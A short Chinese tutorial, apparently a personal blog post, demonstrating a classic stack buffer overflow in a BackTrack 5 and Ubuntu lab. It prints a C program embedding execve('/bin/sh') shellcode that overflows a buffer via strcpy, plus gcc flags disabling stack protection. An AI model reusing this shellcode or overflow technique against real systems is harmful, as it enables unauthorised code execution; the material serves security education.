攻击是在bt5下面进行,目标程序是在ubuntu虚拟机上运行。
首先,需要搞明白什么是栈溢出攻击,详细内容请阅读
http://blog.csdn.net/cnctloveyu/article/details/4236212这篇文章讲的很清楚了,只是具体例子不是很准确,有点小错误。
下面贴上一个我验证过的,修改过可执行的例子。
//shell.c
1 #include<unistd.h>
2
3 char shellcode[] =
4 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
5 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
6 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
7 char large_string[128];
8
9 void main() {
10 char buffer[96];
11 int i;
12 long *long_ptr = (long *) large_string;
13
14 for (i = 0; i < 32; i++)
15 *(long_ptr + i) = (int) buffer;
16
17 for (i = 0; i < strlen(shellcode); i++)
18 large_string[i] = shellcode[i];
19
20 strcpy(buffer,large_string);
21 }
此程序使用gcc -fno-stack-protector -z execstack -g -o shell shell.c 编译
程序执行完毕以后应该新打开一个shell。